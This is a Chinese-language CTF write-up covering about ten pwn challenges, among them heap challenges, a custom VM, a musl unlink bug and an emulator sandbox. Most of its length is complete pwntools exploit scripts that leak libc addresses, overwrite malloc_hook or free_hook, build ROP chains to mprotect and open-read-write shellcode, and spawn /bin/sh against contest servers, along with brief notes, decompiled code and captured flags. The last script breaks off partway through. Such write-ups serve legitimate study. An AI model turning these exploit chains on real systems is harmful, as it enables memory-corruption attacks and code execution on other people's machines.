前言
这次比赛的题量属实有点大, pwn题一共有12题. 不过部分题目也不是特别难. 然而我手速实在太慢了... 比赛两天只做出了5个比较常规的题目. 赛后又复现了5个比较有意思的题. blind pwn 因为赛后服务器环境没了也没法做, rust pwn 鉴于对 rust实在不熟就放弃了....
剩下的几个题目都挺有意思的.
musl 用的是 musl libc. 第一次见, 利用方式就是经典的 unlink
two_chunk 用了最新的 glibc 2.30. 也是考察了 malloc时候把 smallbin 往 tcache bin 回填的点(第三次见了)
unicorn 我觉得可以算 misc pwn了. 先得从 memory dump 里面恢复 elf 文件, 然后再 pwn掉它, 很有意思.
kernoob 是做的第一道内核堆题, 参考 kirin 的wp [1] 复现成功. 简单的 uaf 放在内核环境下就变得非常麻烦, 通过这个题也大概看了一遍 SLUB 的实现, kmalloc 里面要考虑到太多的底层东西, 分页, cache, NUMA 等等, 对底层不太了解的话很难理解代码逻辑. google 到一篇kmalloc 源码解析 [2]. 写的非常详细, 推荐对kmalloc感兴趣的同学阅读.
easy_heap | solved
add功能判断size的时候有个整型溢出, 但是好像没啥用
flag{asinsdfweusadqnmzposlakkdf}
#coding:utf-8
from pwn import *
import pwn_framework as pf
from time import sleep
import sys
import struct
global io
ru = lambda p, x : p.recvuntil(x)
sn = lambda p, x : p.send(x)
rl = lambda p : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x : p.recv(numb = x)
sa = lambda p, a,b : p.sendafter(a,b)
sla = lambda p, a,b : p.sendlineafter(a,b)
rr = lambda p, t : p.recvrepeat(t)
# amd64 or x86
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
filename = "./easyheap"
ip = "121.36.209.145"
port = 9997
LOCAL = True if len(sys.argv)==1 else False
global bps # Break Points
global gds # Gdb Debug Symbols
bps = []
gds = {}
elf = ELF(filename)
remote_libc = "./libc.so.6"
if LOCAL:
io = process(filename)
libc = elf.libc
# # if LD_PRELOAD multiple libs, split with ':'
# io = process(filename, env={'LD_PRELOAD': remote_libc})
# libc = ELF(remote_libc)
else:
context.log_level = 'debug'
io = remote(ip, port)
libc = ELF(remote_libc)
def pause(p, s = 'pause'):
if LOCAL:
print('pid: ' + str(p.pid))
return raw_input(s)
else:
return raw_input(s)
def choice(p, idx):
sla(p, "choice:\n", str(idx))
def lg(name, val):
log.info(name+" : "+hex(val))
def add(p, size, data):
choice(p, 1)
sla(p, "How long is this message?\n", str(size))
sa(p, "content of the message?\n", data)
ru(p, ".\n")
def remove(p, idx):
choice(p, 2)
sla(p, "index of the item to be deleted?\n", str(idx))
res = ru(p, ".\n")
return res
def edit(p, idx, data):
choice(p, 3)
sla(p, "index of the item to be modified?\n", str(idx))
sa(p,"content of the message?\n", data)
ru(p, ".\n")
pause(io)
bps.append(0x400B98) # get choice
gds['ptrs'] = 0x6020C0
add(io, 0x400, 'aaa\n')
add(io, 0x60, 'bbb\n')
add(io, 0x30, 'ccc\n')
remove(io, 1)
remove(io, 0)
choice(io, 1)
sla(io, "long", str(0x500))
fake_chunk = 0x60208d
edit(io, 0, flat(0x410, 0x20, 0, 0, 0, 0x71, fake_chunk))
# io.interactive()
remove(io, 2)
add(io, 0x60, 'b1\n')
add(io, 0x60, "\0"*3 + p64(0) + struct.pack("
woodenbox2 | solved
最后退出的时候有个 double free, 会触发 malloc_hook, 所以可能是修改 malloc_hook
edit功能有堆溢出漏洞.
应该是要利用 stdout 来 leak libc
拿到libc地址了, 应该快了
flag{D0_y0u_kn0w_h0o34_o7_R0m4n?}
#coding:utf-8
from pwn import *
import pwn_framework as pf
from time import sleep
import sys
global io
ru = lambda p, x : p.recvuntil(x)
sn = lambda p, x : p.send(x)
rl = lambda p : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x : p.recv(numb = x)
sa = lambda p, a,b : p.sendafter(a,b)
sla = lambda p, a,b : p.sendlineafter(a,b)
rr = lambda p, t : p.recvrepeat(t)
# amd64 or x86
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
filename = "./woodenbox2"
ip = "121.36.215.224"
port = 9998
LOCAL = True if len(sys.argv)==1 else False
global bps # Break Points
global gds # Gdb Debug Symbols
bps = []
gds = {}
elf = ELF(filename)
remote_libc = "./libc6_2.23-0ubuntu11_amd64.so"
if LOCAL:
# io = process(filename)
# libc = elf.libc
# if LD_PRELOAD multiple libs, split with ':'
io = process(filename, env={'LD_PRELOAD': remote_libc})
libc = ELF(remote_libc)
else:
context.log_level = 'debug'
io = remote(ip, port)
libc = elf.libc
# libc = ELF(remote_libc)
def pause(p, s = 'pause'):
if LOCAL:
print('pid: ' + str(p.pid))
return raw_input(s)
else:
return raw_input(s)
def choice(p, idx):
sla(p, "choice:", str(idx))
def lg(name, val):
log.info(name+" : "+hex(val))
def add(p, size, data):
choice(p, 1)
sla(p, "length of item name:", str(size))
sa(p, "name of item:", data)
def edit(p, idx, size, data):
choice(p, 2)
sla(p, "index of item:", str(idx))
sla(p, "length of item name:", str(size))
sla(p, "new name of the item:", data)
def remove(p, idx):
choice(p, 3)
sla(p, "index of item:", str(idx))
ru(p, "!!\n")
pause(io)
gds['ptrs'] = 0x5555557560A0
def loop(rand_i):
global io
add(io, 0xf0, 'a\n')
add(io, 0x60, 'b\n')
add(io, 0xf0, 'c\n')
overlay = 6
for i in range(overlay):
add(io, 0x60, 'd\n')
remove(io, 0)
edit(io, 0, 0x70, flat('a'*0x60, 0x170, 0x100))
remove(io, 0)
remove(io, 0)
add(io, 0xf0, 'a\n')
# fastbin -> 0x7ffff7dd1b78
# overwrite to 0x7ffff7dd25dd
edit(io, overlay, 0x102, 'a'*0xf0+flat(0, 0x71)+'\xdd'+chr((rand_i <<4)+5))
add(io, 0x60, 'b222\n')
add(io, 0x60, flat('a'*0x33, 0xfbad1800, 0, 0, 0)+"\0")
rv(io, 0x40)
libc.address = u64(rv(io, 8)) - 0x3c5600
lg("libc.address", libc.address)
# use malloc to one gadget
one = libc.address + 0xf02a4
fake2 = libc.symbols['__malloc_hook'] - 0x23 # malloc hook
payload = "a"*19 + p64(one)
remove(io, 5)
edit(io, 3, 0x78, flat('a'*0x60, 0, 0x71, fake2))
add(io, 0x60, 'a\n')
add(io, 0x60, payload)
choice(io, 4)
sleep(0.5)
sl(io, "eho 'pu1p';cat flag;echo 'pu2p'")
io.interactive()
for i in range(0xf+1):
try:
io = remote(ip, port)
loop(i)
break
except:
continue
shortest_path| solved
计算最短路径的过程中有一个溢出点, 可以覆盖一个 flag, 进而导致 double free. 主要就是构造溢出的图花了不少时间, 算法太菜了 55555
flag{SPFA_1s_4_9o0d_A1gorithm}
#coding:utf-8
from pwn import *
import pwn_framework as pf
from time import sleep
import sys
global io
ru = lambda p, x : p.recvuntil(x)
sn = lambda p, x : p.send(x)
rl = lambda p : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x : p.recv(numb = x)
sa = lambda p, a,b : p.sendafter(a,b)
sla = lambda p, a,b : p.sendlineafter(a,b)
rr = lambda p, t : p.recvrepeat(t)
# amd64 or x86
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
filename = "./Shortest_path"
ip = "121.37.181.246"
port = 19008
LOCAL = True if len(sys.argv)==1 else False
global bps # Break Points
global gds # Gdb Debug Symbols
bps = []
gds = {}
elf = ELF(filename)
remote_libc = "./remote_libc"
if LOCAL:
io = process(filename)
libc = elf.libc
# # if LD_PRELOAD multiple libs, split with ':'
# io = process(filename, env={'LD_PRELOAD': remote_libc})
# libc = ELF(remote_libc)
else:
context.log_level = 'debug'
io = remote(ip, port)
libc = elf.libc
# libc = ELF(remote_libc)
def pause(p, s = 'pause'):
if LOCAL:
print('pid: ' + str(p.pid))
return raw_input(s)
else:
return raw_input(s)
def choice(p, idx):
sla(p, "options ---> ", str(idx))
def lg(name, val):
log.info(name+" : "+hex(val))
def add_node(p, idx, size, data, nb_cnt=0, nbs=[], dists=[], price=1):
choice(p, 1)
sla(p, "Station ID: ", str(idx))
sla(p, "Station Price: ", str(price))
sla(p, "Name Length: ", str(size))
sa(p, " Name: ", data)
sla(p, "connected station: ", str(nb_cnt))
# print(nbs)
# print(dists)
for i in range(nb_cnt):
sla(p, "Conected station ID: ", str(nbs[i]))
sla(p, "station distance: ", str(dists[i]))
def remove_node(p, idx):
choice(p, 2)
sla(p, "Station ID: ", str(idx))
def get_route(p, src, dest):
choice(p, 4)
sla(p, "Source Station ID: ", str(src))
sla(p, "Target Station ID:", str(dest))
pause(io)
flag_addr = 0x6068E0
add_node(io, 0, 0x10, 'aa\n')
# add_node(io, 1, 0x60, 'bb\n')
start = 3
add_node(io, start, 0x10, 'pu1p\n')
for i in range(start+1, 29):
add_node(io, i, 0x10, 'pu1p', 1, [i-1], [1])
a = [i for i in range(start, 29)][::-1]
b = [i*2 for i in range(1, 28)]
add_node(io, 29, 0x10, 'pu1p', (29-start), a, b)
remove_node(io, 0)
# remove_node(io, 1)
get_route(io, 29, start)
remove_node(io, 0)
add_node(io, 1, 0x60, 'aa\n')
add_node(io, 2, 0x10, p64(0x100000001)+p64(flag_addr))
# add_node(io, 1, 0x60, 'bb\n')
# add_node(io, 2, 0x60, )
# io.interactive()
sleep(1)
sl(io, '3')
sleep(1)
sl(io, '1')
io.interactive()
lgd | solved
用了 snprintf 的返回值当作size, 可以导致堆溢出
full relro + seccomp 禁用 execve
构造栈溢出rop → mprotect → orw shellcode
(这个出题人代码写的太nb了, 自带混淆.......
#coding:utf-8
from pwn import *
import pwn_framework as pf
from time import sleep
import sys
global io
ru = lambda p, x : p.recvuntil(x)
sn = lambda p, x : p.send(x)
rl = lambda p : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x : p.recv(numb = x)
sa = lambda p, a,b : p.sendafter(a,b)
sla = lambda p, a,b : p.sendlineafter(a,b)
rr = lambda p, t : p.recvrepeat(t)
# amd64 or x86
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
filename = "./pwn"
ip = "121.36.209.145"
port = 9998
LOCAL = True if len(sys.argv)==1 else False
global bps # Break Points
global gds # Gdb Debug Symbols
bps = []
gds = {}
elf = ELF(filename)
remote_libc = "./libc.so.6"
if LOCAL:
# io = process(filename)
# libc = elf.libc
# if LD_PRELOAD multiple libs, split with ':'
io = process(filename, env={'LD_PRELOAD': remote_libc})
libc = ELF(remote_libc)
else:
context.log_level = 'debug'
io = remote(ip, port)
libc = ELF(remote_libc)
def pause(p, s = 'pause'):
if LOCAL:
print('pid: ' + str(p.pid))
return raw_input(s)
else:
return raw_input(s)
def choice(p, idx):
sla(p, ">> ", str(idx))
def lg(name, val):
log.info(name+" : "+hex(val))
def add(p, size, data):
choice(p, 1)
sla(p, "_____?\n", str(size))
sa(p, "yes_or_no?\n", data)
def remove(p, idx):
choice(p, 2)
sla(p, "index ?\n", str(idx))
def show(p, idx):
choice(p, 3)
sla(p, "index ?\n", str(idx))
def edit(p, idx, data):
choice(p, 4)
sla(p, "index ?\n", str(idx))
sa(p, "new_content ?\n", data)
pause(io)
gds['sizes'] = 0x603260
gds['ptrs'] = 0x6032E0
sla(io, "name? \n", "pu1p")
add(io, 0x100, 'a'*0x71)
add(io, 0x100, '\0')
for i in range(15):
add(io, 0x100, 'a')
add(io, 0x100, '\0')
for i in range(32):
remove(io, i)
add(io, 0x18, 'a'*0X200)
add(io, 0x60, 'bbb')
add(io, 0x10, 'ccc')
remove(io, 1)
edit(io, 0, flat('a'*0x18, 0x71, 0x6032d0, 0))
add(io, 0x60, 'aaa')
add(io, 0x60, 'xxx')
# ptrs[3] -> ptrs
# sizes[1, 2, 3, 3] = 0x200
ptrs_addr = 0x6032e0
# leak libc
got_puts = 0x602FA0
edit(io, 3, flat(ptrs_addr, got_puts))
show(io, 1)
puts_addr = u64(rv(io, 6)+'\0\0')
libc.address = puts_addr - libc.symbols['puts']
lg("libc.address", libc.address)
# leak stack
edit(io, 0, flat(ptrs_addr, libc.symbols['environ']))
show(io, 1)
stack_addr = u64(rv(io, 6)+'\0\0')
lg("stack_addr", stack_addr)
# write shellcode to bss
sc_addr = 0x603800
# edit(io, 0, flat(ptrs_addr, stack_addr, sc_addr)) # remote libc
edit(io, 0, flat(ptrs_addr, stack_addr-0x240, sc_addr))
sc = asm(shellcraft.amd64.linux.open("./flag", 0))
sc += asm(shellcraft.amd64.linux.read('rax', 0x603700, 0x40))
sc += asm(shellcraft.amd64.linux.write(1, 0x603700, 0x40))
edit(io, 2, sc)
# construct rop payload
bps.append(0x40208A) # read in edit
PrdiR = 0x00000000004023b3
Prsir15R = 0x00000000004023b1
PrdxR = libc.address + 0x0000000000001b92
PrcxrbxR = libc.address + 0x00000000000ea69a
mprotect_addr = libc.symbols['mprotect']
# rop payload -> mprotect -> shellcode
p1 = flat(
PrdiR, 0x603000,
Prsir15R, 0x1000, 0,
PrdxR, 7,
mprotect_addr,
sc_addr
)
edit(io, 1, p1)
io.interactive()
easy_vm| solved
0x80 对应的 操作 可以修改 vm 结构体. 可以实现任意地址读写. 改 free_hook 为 system 地址即可
flag{a73ujlkj2kohjnlkgmdfgkenzomd}
#coding:utf-8
from pwn import *
import pwn_framework as pf
from time import sleep
import sys
global io
ru = lambda p, x : p.recvuntil(x)
sn = lambda p, x : p.send(x)
rl = lambda p : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x : p.recv(numb = x)
sa = lambda p, a,b : p.sendafter(a,b)
sla = lambda p, a,b : p.sendlineafter(a,b)
rr = lambda p, t : p.recvrepeat(t)
# amd64 or x86
context(arch = 'i386', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
filename = "./EasyVM"
ip = "121.36.215.224"
port = 9999
LOCAL = True if len(sys.argv)==1 else False
global bps # Break Points
global gds # Gdb Debug Symbols
bps = []
gds = {}
elf = ELF(filename)
remote_libc = "./libc-2.23.so"
if LOCAL:
# io = process(filename)
# libc = elf.libc
# if LD_PRELOAD multiple libs, split with ':'
io = process(filename, env={'LD_PRELOAD': remote_libc})
libc = ELF(remote_libc)
else:
context.log_level = 'debug'
io = remote(ip, port)
libc = ELF(remote_libc)
def pause(p, s = 'pause'):
if LOCAL:
print('pid: ' + str(p.pid))
return raw_input(s)
else:
return raw_input(s)
def choice(p, idx):
sla(p, ">>> \n", str(idx))
def lg(name, val):
log.info(name+" : "+hex(val))
def add_code(p, code):
choice(p, 1)
sn(p, code)
def run_code(p):
choice(p, 2)
def remove_code(p):
choice(p, 3)
def set_reg(idx, val):
return "\x80"+chr(idx)+p32(val)
def push(val):
return "\x71"+p32(val)
def pop():
return "\x76"+p32(0)
pause(io)
# 00000000 vm struc ; (sizeof=0x3C, mappedto_5)
# 00000000 r_addr dd ?
# 00000004 r1 dd ?
# 00000008 r2 dd ?
# 0000000C r_mul dd ?
# 00000010 r_sub dd ?
# 00000014 r_div dd ? ; char
# 00000018 _sp dd ?
# 0000001C stack_top dd ?
# 00000020 _ip dd ?
# 00000024 r_xor dd ?
# 00000028 stack_base dd ?
# 0000003C vm ends
# get elf base
choice(io, 4)
p1 = "\x09\x11\x99"
add_code(io, p1)
run_code(io)
# choice(io, 2)
elf.address = int(rl(io), 16) - 0x6c0
lg("elf base", elf.address)
# get libc base
got_puts = elf.got['puts']
# got___libc_start_main = elf.got['__libc_start_main']
p2 = ""
p2 += set_reg(3, got_puts) + '\x53\x00'
p2 += set_reg(3, got_puts+1) + '\x53\x00'
p2 += set_reg(3, got_puts+2) + '\x53\x00'
p2 += set_reg(3, got_puts+3) + '\x53\x00'
p2 += '\x99'
add_code(io, p2)
run_code(io)
sleep(1)
puts_addr = u32(rv(io, 4))
libc.address = puts_addr - libc.symbols['puts']
lg("libc.address", libc.address)
pause(io)
# change free hook to system
fh_addr = libc.symbols['__free_hook']
p3 = ""
p3 += set_reg(6, fh_addr+4)
p3 += push(libc.symbols['system'])
p3 += set_reg(0, u32("/bin"))
p3 += set_reg(1, u32("/sh\0"))
p3 += "\x99"
add_code(io, p3)
run_code(io)
sleep(1)
choice(io, 3)
io.interactive()
musl | solved(after game)
挺有意思的一个题目.
用的 musl libc(第一次见). 通过strings 附件中的 libc.so 可知libc 版本为 1.1.224, 然后去 官网https://git.musl-libc.org/cgit/musl下载源码.
通过查看源码可以发现 unlink 的时候没有任何校验.
题目提供了一次堆溢出操作. 结合 unlink 可以实现任意地址写. 但是这个程序是 mmap 了一块随机地址的内存存储 malloc 返回的指针. 所以没办法直接用 unlink 改指针. 这块卡了一会儿.
但是发现利用 edit 功能可以实现任意次 unlink 攻击. 所以最终思路如下:
- 利用 多次 unlink 在bss 段伪造一个 (size, ptr) 对, ptr 指向0x602030
- 利用 unlink 把 指向 mmap 内存 的指针的值改为指向 bss段伪造的 (size, ptr) 对.
- 利用 edit 和 show 功能即可实现任意次 任意地址读写
- (为了绕过edit 中 限制 size ≤ 0x80) 需要把地址错开(就像 fast bin attack 中伪造 size 那样)
- 先用got表读 libc 地址, 然后用 libc.symbols['environ'] 拿到 栈地址, 然后算一下偏移直接修改 edit 函数的返回地址.
flag{It_1s_n0t_0ur_3nemi3s_that_def3at_us_It_1s_0ur_f3ar_POE}
#coding:utf-8
from pwn import *
import pwn_framework as pf
from time import sleep
import sys
global io
ru = lambda p, x : p.recvuntil(x)
sn = lambda p, x : p.send(x)
rl = lambda p : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x : p.recv(numb = x)
sa = lambda p, a,b : p.sendafter(a,b)
sla = lambda p, a,b : p.sendlineafter(a,b)
rr = lambda p, t : p.recvrepeat(t)
# amd64 or x86
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
filename = "./carbon"
ip = "119.3.158.103"
port = 19008
LOCAL = True if len(sys.argv)==1 else False
global bps # Break Points
global gds # Gdb Debug Symbols
bps = []
gds = {}
# elf = ELF(filename)
remote_libc = "./libc.so"
if LOCAL:
io = process(filename)
# if LD_PRELOAD multiple libs, split with ':'
# io = process(filename, env={'LD_PRELOAD': remote_libc})
libc = ELF(remote_libc)
else:
context.log_level = 'debug'
io = remote(ip, port)
libc = ELF(remote_libc)
def pause(p, s = 'pause'):
if LOCAL:
print('pid: ' + str(p.pid))
return raw_input(s)
else:
return raw_input(s)
def choice(p, idx):
sla(p, "> ", str(idx))
def lg(name, val):
log.info(name+" : "+hex(val))
def add(p, size, data, ow='N'):
choice(p, 1)
sla(p, "size? >", str(size))
sla(p, "believer? >", ow)
sa(p, "sleeve >", data)
def remove(p, idx):
choice(p, 2)
sla(p, "ID? >", str(idx))
def show(p, idx):
choice(p, 4)
sla(p, "ID? >", str(idx))
def edit(p, idx, data):
choice(p, 3)
sla(p, "ID? >", str(idx))
sleep(0.5)
sn(p, data)
pause(io)
gds['flags'] = 0x602030
gds['arr'] = 0x602040
gds['bins'] = 0x7ffff7ffbac0
gds['ptrs'] = 0x00007ffff7ff5000
gds['heap'] = 0x00007ffff7ffe3b0
add(io, 0x10, 'a\n')
add(io, 0x10, 'b\n')
add(io, 0x80, 'c\n')
add(io, 0x10, 'd\n')
remove(io, 0)
remove(io, 2)
add(io, 0x10, flat('a'*0x10, 0x21, 0x21, 'a'*0x10, 0x21, 0xa0, 0x602030, 0x602058)+'\n', "Y")
bps.append(0x7FFFF7D8085E) # ubin in malloc
add(io, 0x80, 'c\n')
edit(io, 2, flat(0x602030, 0x602072-0x10)+'\n')
add(io, 0x80, 'c\n')
edit(io, 2, flat(0x60206a, 0x602040-0x10)+'\n')
add(io, 0x80, 'c\n')
edit(io, 0, flat(0, 0, 0x602050, 0, 0x80, 0x602030, 0x80, 0x601FE8)+'\n')
show(io, 1)
strlen_addr = u64(rv(io, 6)+'\0\0')
libc.address = strlen_addr - libc.symbols['strlen']
lg("libc.address", libc.address)
prefix = flat(0, 0, 0x602050, 0, 0x80, 0x602030)
edit(io, 0, prefix+flat(0x80, libc.symbols['environ'])+'\n')
show(io, 1)
stack_addr = u64(rv(io, 6)+'\0\0')
lg('stack_addr', stack_addr)
ret_addr = stack_addr - 0x70
edit(io, 0, prefix+flat(0x80, ret_addr)+'\n')
system_addr = libc.symbols['system']
sh_addr = libc.search("/bin/sh\0").next()
p1 = flat(
libc.address + 0x0000000000014862, sh_addr,
system_addr, 0xdeadbeef)
edit(io, 1, p1+'\n')
io.interactive()
two_chunk | solved(after game)
libc 2.30
赛后参考 NU1L 的wp 复现了一遍.
利用 malloc small chunk 的过程中会尽量用多余的small chunk 把 tcahce bin 填满的特性.
(之前buuctf 红包题也是类似的利用点, 但是当时只用到往任意地址写一个极大值. 没有意识到完全可以实现 任意地址写)
还有个点值得注意就是构造 small bin 的链. 因为只能分配两个chunk, 所以需要通过 切割较大的 unsorted bin 得到 0x90 大小的 unsorted bin, 再利用 malloc_consolidate 放入 small bin 中
(因为没有 glibc 2.30的环境, 所以我是在 glibc 2.29下做的. 两个版本的malloc 实现差不多)
#coding:utf-8
from pwn import *
import pwn_framework as pf
from time import sleep
import sys
global io
ru = lambda p, x : p.recvuntil(x)
sn = lambda p, x : p.send(x)
rl = lambda p : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x : p.recv(numb = x)
sa = lambda p, a,b : p.sendafter(a,b)
sla = lambda p, a,b : p.sendlineafter(a,b)
rr = lambda p, t : p.recvrepeat(t)
# amd64 or x86
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
filename = "./twochunk_29"
ip = "121.36.209.145"
port = 9999
LOCAL = True if len(sys.argv)==1 else False
global bps # Break Points
global gds # Gdb Debug Symbols
bps = []
gds = {}
elf = ELF(filename)
remote_libc = "./libc_2.29.so"
if LOCAL:
# io = process(filename)
# libc = elf.libc
# # if LD_PRELOAD multiple libs, split with ':'
io = process(filename, env={'LD_PRELOAD': remote_libc})
libc = ELF(remote_libc)
else:
context.log_level = 'debug'
io = remote(ip, port)
libc = ELF(remote_libc)
def pause(p, s = 'pause'):
if LOCAL:
print('pid: ' + str(p.pid))
return raw_input(s)
else:
return raw_input(s)
def choice(p, idx):
sla(p, "choice: ", str(idx))
def lg(name, val):
log.info(name+" : "+hex(val))
def add(p, idx, size):
choice(p, 1)
sla(p, "idx: ", str(idx))
sla(p, "size: ", str(size))
ru(p, "success")
def remove(p, idx):
choice(p, 2)
sla(p, "idx: ", str(idx))
def show(p, idx):
choice(p, 3)
sla(p, "idx: ", str(idx))
def edit(p, idx, data):
choice(p, 4)
sla(p, "idx: ", str(idx))
sa(p, "content: ", data)
def show2(p):
choice(p, 5)
def add_88(p, data):
choice(p, 6)
sa(p, "message: ", data)
def back_door(p):
choice(p, 7)
pause(io)
mmap = 0x23333000
elf_ptr = 0x555555558008
gds['flags'] = 0x555555558010
gds['ptrs'] = 0x5555555580A0
sa(io, "name: ", p64(0x23333020)*6)
sa(io, "message: ", p64(0x23333020)*8)
# add 5 chunks to 0x90 tcache bin
for i in range(5):
add(io, 0, 0x88)
remove(io, 0)
# split 0x130 chunk to a 0x90 chunk in unsorted bin
add(io, 0, 0x128)
for i in range(7):
add(io, 1, 0x128)
remove(io, 1)
remove(io, 0)
add(io, 1, 0x98)
remove(io, 1)
# add to 0x100 chunk to tcache bin
add(io, 0, 0xe9)
add(io, 1, 0xe9)
remove(io, 0)
remove(io, 1)
# split 0x140 chunk to a 0x90 chunk in unsorted bin
add(io, 0, 0x138)
for i in range(7):
add(io, 1, 0x138)
remove(io, 1)
remove(io, 0)
add(io, 1, 0xa8) # split 0x140 chunk to a 0xb0 and 0x90 chunk
remove(io, 1) # then put 0xb0 chunk to tcache bin
# leak heap addr
add(io, 1, 23333)
show(io, 1)
heap = u64(rv(io, 8)) - 0xeb0
lg('heap', heap)
# make 2 0x90 chunk in unsorted bin into smallbin
add(io, 0, 0x200)
remove(io, 0)
# corrupt 2nd chunk smallbin
p1 = flat(0x108*'\x00',
0xb1, '\x00'*0X98,
0x91, heap+0x5c0, 0x23332ff0
)
p1 += p64(0xb1)
edit(io, 1, p1)
# trigger put back process in _int_malloc
# RTFSC for more information
add(io, 0, 0x88)
show2(io)
ru(io, "message: ")
libc.address = u64(rv(io, 6)+"\0\0") - 0x3b1d20
lg("libc.address", libc.address)
system_addr = libc.symbols['system']
binsh_addr = libc.search("/bin/sh\0").next()
add_88(io, flat(system_addr, "/bin/sh\0", '\0'*0x20, 0x23333008))
back_door(io)
io.interactive()
unicorn | solved (after game)
第一次做这种pwn题, 很有意思.
首先需要从 dump 文件中提取出 elf 文件进行分析. 用这个脚本就好
global dump
dump = open("./xctf_pwn.dump", "rb").read()
def f(start, length):
global dump
return dump[start:start+length]
text = ""
text += f(0x1c7239, 0x9c8)
text += f(0x1c7c01, 0x1a) + f(0x3b5dec, 0xe) + f(0x1c5111, 0x100)
text += f(0x366c4c, 8) + f(0x35ac3b, 8) + f(0x3b7ffc, 0xaa2)
text += f(0x3b5dfa, 2) + f(0x1c5008, 9) + f(0x3b5e05, 3)
text += f(0x3c7b5e, 0x3f7) + f(0x3b5e04, 1) + f(0x3c7fed, 0xdc)
text += f(0x3b5ff8, 4) + f(0x5032a1, 0x3dc) + f(0xf5c, 0x24)
text += f(0x3b5c74, 178)
open("./text", "wb").write(text)
然后就是分析程序, 发现有两个后门.
一个是 直接cat flag
__int64 __fastcall sub_401428(__int64 a1, __int64 a2)
{
__int64 v2; // rdx
__int64 v3; // rcx
__int64 v4; // r8
__int64 result; // rax
puts((__int64)"interactive mode Disable\n");
printf((__int64)"but do you like flag? [Y/n]", a2, v2, v3, v4);
result = get_chr__();
if ( (_BYTE)result != 'n' && (_BYTE)result != 'N' )
{
puts((__int64)"First blood to you ");
result = cat_flag((__int64)"flag.txt");
}
return result;
}
unsigned __int64 __fastcall cat_flag(__int64 a1)
{
__int64 v1; // rdx
__int64 v2; // rcx
__int64 v3; // r8
__int64 v4; // rdx
__int64 v5; // rcx
__int64 v6; // r8
__int64 v8; // [rsp+18h] [rbp-78h]
char buf; // [rsp+20h] [rbp-70h]
unsigned __int64 v10; // [rsp+88h] [rbp-8h]
v10 = __readfsqword(0x28u);
v8 = fopen(a1, (__int64)byte_4015B8);
if ( v8 )
{
fread(&buf, 100LL, v8);
close__(v8);
printf((__int64)"[%s]\n", (__int64)&buf, v4, v5, v6);
}
else
{
printf((__int64)&byte_4015C0, a1, v1, v2, v3);
}
return __readfsqword(0x28u) ^ v10;
}
一个是执行 shellcode
unsigned __int64 shell()
{
__int64 v0; // rdx
__int64 v1; // rcx
__int64 v2; // r8
__int64 v3; // rdx
__int64 v4; // rcx
__int64 v5; // r8
__int64 v6; // rdx
__int64 v7; // rcx
__int64 v8; // r8
__int64 (__fastcall *v9)(__int64, __int64, __int64); // ST18_8
__int64 v10; // rdx
__int64 v11; // rcx
__int64 v12; // r8
__int64 v13; // ST20_8
__int64 v14; // rdx
__int64 v15; // rcx
__int64 v16; // r8
__int64 v17; // ST28_8
__int64 v18; // rdx
__int64 v19; // rcx
__int64 v20; // r8
__int64 v21; // ST30_8
__int64 v22; // ST38_8
__int64 v23; // rdx
__int64 v24; // rcx
__int64 v25; // r8
char v27; // [rsp+40h] [rbp-510h]
unsigned __int64 v28; // [rsp+548h] [rbp-8h]
v28 = __readfsqword(0x28u);
puts((__int64)"Welcome to ubuntu shell\n");
puts((__int64)"please write your shellcode i will run [ size_t (*intput)(size_t , size_t , size_t ) ]");
printf((__int64)"data ptr:%p\n", (__int64)&v27, v0, v1, v2);
printf((__int64)"data<<", (__int64)&v27, v3, v4, v5);
read(0LL, (__int64)&v27, 1280LL);
printf((__int64)"invoke ptr<<", (__int64)&v27, v6, v7, v8);
v9 = (__int64 (__fastcall *)(__int64, __int64, __int64))sub_400C26();
printf((__int64)"arg0<<", (__int64)&v27, v10, v11, v12);
v13 = sub_400C26();
printf((__int64)"arg1<<", (__int64)&v27, v14, v15, v16);
v17 = sub_400C26();
printf((__int64)"arg2<<", (__int64)&v27, v18, v19, v20);
v21 = sub_400C26();
v22 = v9(v13, v17, v21);
printf((__int64)"ret is 0x%llx\n", v22, v23, v24, v25);
return __readfsqword(0x28u) ^ v28;
}
cat flag 的后门很好触发, 但是这个后门没法用. 因为外面还套着一层模拟器, 所有 系统调用都要经过hook 函数, 而在hook函数中 open 始终返回一个负数, 所以 fread 会认为 open 系统调用失败了(其实成功了). 所以只能通过shellcode 拿到 flag
执行第一个后门很简单, 直接把拿到的数据异或一下返回去就行, 触发第二个后门就需要利用 每次 try 会把函数指针 + 1 的逻辑.
具体exp如下
#coding:utf-8
from pwn import *
import pwn_framework as pf
from time import sleep
import sys
import struct
global io
ru = lambda p, x : p.recvuntil(x)
sn = lambda p, x : p.send(x)
rl = lambda p : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x : p.recv(numb = x)
sa = lambda p, a,b : p.sendafter(a,b)
sla = lambda p, a,b : p.sendlineafter(a,b)
rr = lambda p, t : p.recvrepeat(t)
# amd64 or x86
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
filename = "./x86_sandbox"
ip = "121.37.167.19"
port = 9998
LOCAL = True if len(sys.argv)==1 else False
elf = ELF(filename)
remote_libc = "./remote_libc"
if LOCAL:
io = process(filename)
else:
context.log_level = 'debug'
io = remote(ip, port)
def lg(name, val):
log.info(name+" : "+hex(val))
pause(io)
ru(io, "Your machine-code is \x1B[1;31;5m ")
